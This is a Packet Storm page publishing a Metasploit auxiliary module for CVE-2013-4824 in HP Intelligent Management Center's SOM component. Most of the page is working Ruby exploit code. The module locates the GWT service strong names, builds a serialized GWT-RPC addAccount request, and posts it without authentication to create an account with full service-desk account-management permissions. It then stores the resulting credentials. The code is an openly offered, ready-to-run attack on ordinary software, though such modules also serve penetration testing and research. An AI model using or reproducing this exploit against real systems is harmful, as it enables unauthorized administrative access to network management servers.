exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

HP Intelligent Management SOM Account Creation

HP Intelligent Management SOM Account Creation
Posted Aug 31, 2024
Authored by rgod, juan vazquez | Site metasploit.com

This Metasploit module exploits a lack of authentication and access control in HP Intelligent Management, specifically in the AccountService RpcServiceServlet from the SOM component, in order to create a SOM account with Account Management permissions. This Metasploit module has been tested successfully on HP Intelligent Management Center 5.2 E0401 and 5.1 E202 with SOM 5.2 E0401 and SOM 5.1 E0201 over Windows 2003 SP2.

tags | exploit
systems | windows
advisories | CVE-2013-4824
SHA-256 | f80f182bd3efcc931cc161e517ad609080f18fbbea524563033651e7394cda0f

HP Intelligent Management SOM Account Creation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'HP Intelligent Management SOM Account Creation',
'Description' => %q{
This module exploits a lack of authentication and access control in HP Intelligent
Management, specifically in the AccountService RpcServiceServlet from the SOM component,
in order to create a SOM account with Account Management permissions. This module has
been tested successfully on HP Intelligent Management Center 5.2 E0401 and 5.1 E202 with
SOM 5.2 E0401 and SOM 5.1 E0201 over Windows 2003 SP2.
},
'References' =>
[
[ 'CVE', '2013-4824' ],
[ 'OSVDB', '98249' ],
[ 'BID', '62902' ],
[ 'ZDI', '13-240' ],
[ 'URL', 'https://support.hpe.com/hpesc/public/docDisplay?docId=emr_na-c03943547' ]
],
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2013-10-08'
))

register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [true, 'Username for the new account', 'msf']),
OptString.new('PASSWORD', [true, 'Password for the new account', 'p4ssw0rd'])
])
end

def get_service_desk_strong_name
res = send_request_cgi({
'uri' => normalize_uri("servicedesk", "servicedesk", "servicedesk.nocache.js"),
'method' => 'GET'
})

if res and res.code == 200 and res.body =~ /unflattenKeylistIntoAnswers\(\['default', 'safari'\], '([0-9A-Fa-f]+)'\);/
return $1
end

return nil
end

def get_account_service_strong_name(service_desk)
res = send_request_cgi({
'uri' => normalize_uri("servicedesk", "servicedesk", "#{service_desk}.cache.html"),
'method' => 'GET'
})

if res and res.code == 200 and res.body =~ /'accountSerivce.gwtsvc', '([0-9A-Fa-f]+)', SERIALIZER_1/
return $1
end

return nil
end

def run

print_status("Trying to find the service desk service strong name...")
service_desk = get_service_desk_strong_name
if service_desk.nil?
print_error("service desk service not found.")
return
end
print_good("service desk strong number found: #{service_desk}")

print_status("Trying to find the AccountService strong name...")
account_service = get_account_service_strong_name(service_desk)
if account_service.nil?
print_error("AccountService service not found.")
return
end
print_good("AccountService strong number found: #{account_service}")

header= "6|0|39" # version | unknown | string_table size

# Used to parse the payload
string_table = [
"https://localhost:8080/servicedesk/servicedesk/", # 1 servlet URL
"#{account_service}", # 2 AccountService strong name
"com.h3c.imc.eu.client.account.AccountService", # 3 GWT Service Class
"addAccount", # 4 GWT Service Method
"com.extjs.gxt.ui.client.data.BaseModelData/3541881726", # 5 BaseModelData Type
"com.extjs.gxt.ui.client.data.RpcMap/3441186752", # 6 RpcMap Type
"isAccount", # 7 isAccount Field
"java.lang.Boolean/476441737", # 8 Boolean Type
"ssName", # 9 ssName Field
"java.lang.String/2004016611", # 10 String Type
datastore["USERNAME"], # 11 ssName Value
"authType", # 12 authType Field
"java.lang.Integer/3438268394", # 13 Integer Type
"ssPassword", # 14 ssPassword Field
datastore["PASSWORD"], # 15 ssPassword value
"accountGroups", # 16 accountGroups Field
"java.util.ArrayList/3821976829", # 17 ArayList Type
"permissions", # 18 permissions Field
"iMC-SOM-SERVICEDESK", # 19 permissions Value
"iMC-SOM-SERVICEDESK.PROCTASK", # 20 permissions Value
"iMC-SOM-SERVICEDESK.ACCT", # 21 permissions Value
"iMC-SOM-SERVICEDESK.ACCT.VIEW", # 22 permissions Value
"iMC-SOM-SERVICEDESK.ACCT.ADD", # 23 permissions Value
"iMC-SOM-SERVICEDESK.ACCT.MOD", # 24 permissions Value
"iMC-SOM-SERVICEDESK.ACCT.DEL", # 25 permissions Value
"userName", # 26 userName Field
"certification", # 27 certification Field
"userGroupId", # 28 userGroupId Field
"java.lang.Long/4227064769", # 29 Long Type
"userGroupName", # 30 userGroupName Field
"Ungrouped", # 31 userGroupName Value
"userGroupDescription", # 32 userGroupDescription Field
"Ungrouped User.This record is generated by system, can not be deleted.", # 33 userGroupDescription Value
"address", # 34 address Field
"", # 35 address Value
"phone", # 36 phone Field
"email", # 37 email Field
"userAppendInfo", # 38 userAppendInfo Field
"java.util.HashMap/962170901" # 39 HashMap Type
].join("|")

payload = [
"1", # servlet URL
"2", # strong name
"3", # GWT Service Class
"4", # GWT Service Method (addAccount)
"1", # number of method parameters (addAccount has 1 parameter)
"5", # parameter type (BaseModelData)
"5", # read BaseModelData
"1", # read 1 object into the BaseModelData
"6", # read RpcMap
"15", # read 15 objects into the RpcMap
"7", # RpcMap[0] => isAccount
"8", # isAccount Type (Boolean)
"1", # isAccount Value (true)
"9", # RpcMap[1] => ssName
"10", # ssName Type (String)
"11", # ssName Value
"12", # RpcMap[2] => authType
"13", # authType Type
"0", # authType Value (0 => password)
"14", # RpcMap[3] => ssPassword
"10", # ssPassword Type (String)
"15", # ssPassword Value
"16", # RpcMap[4] => accountGroups
"17", # accountGroups Type (ArrayList)
"0", # accountGroups size (0)
"18", # RpcMap[5] => permissions
"17", # permissions Type (ArrayList)
"7", # permissions size (7)
"10", # permissions[0] Type (String)
"19", # permissions[0] Value (iMC-SOM-SERVICEDESK)
"10", # permissions[1] Type (String)
"20", # permissions[1] Value (iMC-SOM-SERVICEDESK.PROCTASK)
"10", # permissions[2] Type (String)
"21", # permissions[2] Value (iMC-SOM-SERVICEDESK.ACCT)
"10", # permissions[3] Type (String)
"22", # permissions[3] Value (iMC-SOM-SERVICEDESK.ACCT.VIEW)
"10", # permissions[4] Type (String)
"23", # permissions[4] Value (iMC-SOM-SERVICEDESK.ACCT.ADD)
"10", # permissions[5] Type (String)
"24", # permissions[5] Value (iMC-SOM-SERVICEDESK.ACCT.MOD)
"10", # permissions[6] Type (String)
"25", # permissions[6] Value (iMC-SOM-SERVICEDESK.ACCT.DEL)
"26", # RpcMap[6] => username
"-4", # username Type - not provided
"27", # RpcMap[7] => certification
"-4", # certification Type - not provided
"28", # RpcMap[8] => userGroupId
"29", # userGroupId Type (Long)
"B", # userGroupId Value - not provided
"30", # RpcMap[9] => userGroupName
"10", # userGroupName Type (String)
"31", # userGroupName Value (Ungrouped)
"32", # RpcMap[10] => userGroupDescription
"10", # userGroupDescription Type (String)
"33", # userGroupDescription Value (Ungrouped User.This record is generated by system, can not be deleted.)
"34", # RpcMap[11] => address
"10", # address Type (String)
"35", # address Value ("")
"36", # RpcMap[12] => phone
"-19",# phone Type - not provided
"37", # RpcMap[13] => email
"-19",# email Type - not provided
"38", # RpcMap[14] => userAppendInfo
"39", # userAppendInfo Type (HashMap)
"0" # userAppendInfo HashMap size (0)
].join("|")

gwt_request = [header, string_table, payload].join("|")
gwt_request << "|" # end

service_url = ssl ? "https://" : "https://"
service_url << "#{rhost}:#{rport}/servicedesk/servicedesk/"

print_status("Trying to create account #{datastore["USERNAME"]}...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("servicedesk", "servicedesk", "accountSerivce.gwtsvc"),
'ctype' => 'text/x-gwt-rpc; charset=UTF-8',
'headers' => {
"X-GWT-Module-Base" => service_url,
"X-GWT-Permutation" => "#{service_desk}"
},
'data' => gwt_request
})

unless res and res.code == 200
print_error("Unknown error while creating the user.")
return
end

if res.body =~ /Username.*already exists/
print_error("The user #{datastore["USERNAME"]} already exists.")
return
elsif res.body =~ /Account.*added successfully/
login_url = ssl ? "https://" : "https://"
login_url << "#{rhost}:#{rport}/servicedesk/ServiceDesk.jsp"

connection_details = {
module_fullname: self.fullname,
username: datastore['USERNAME'],
private_data: datastore['PASSWORD'],
private_type: :password,
workspace_id: myworkspace_id,
proof: "#{login_url}\n#{res.body}",
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)

print_good("Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.")
print_status("Use it to log into #{login_url}")
end
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close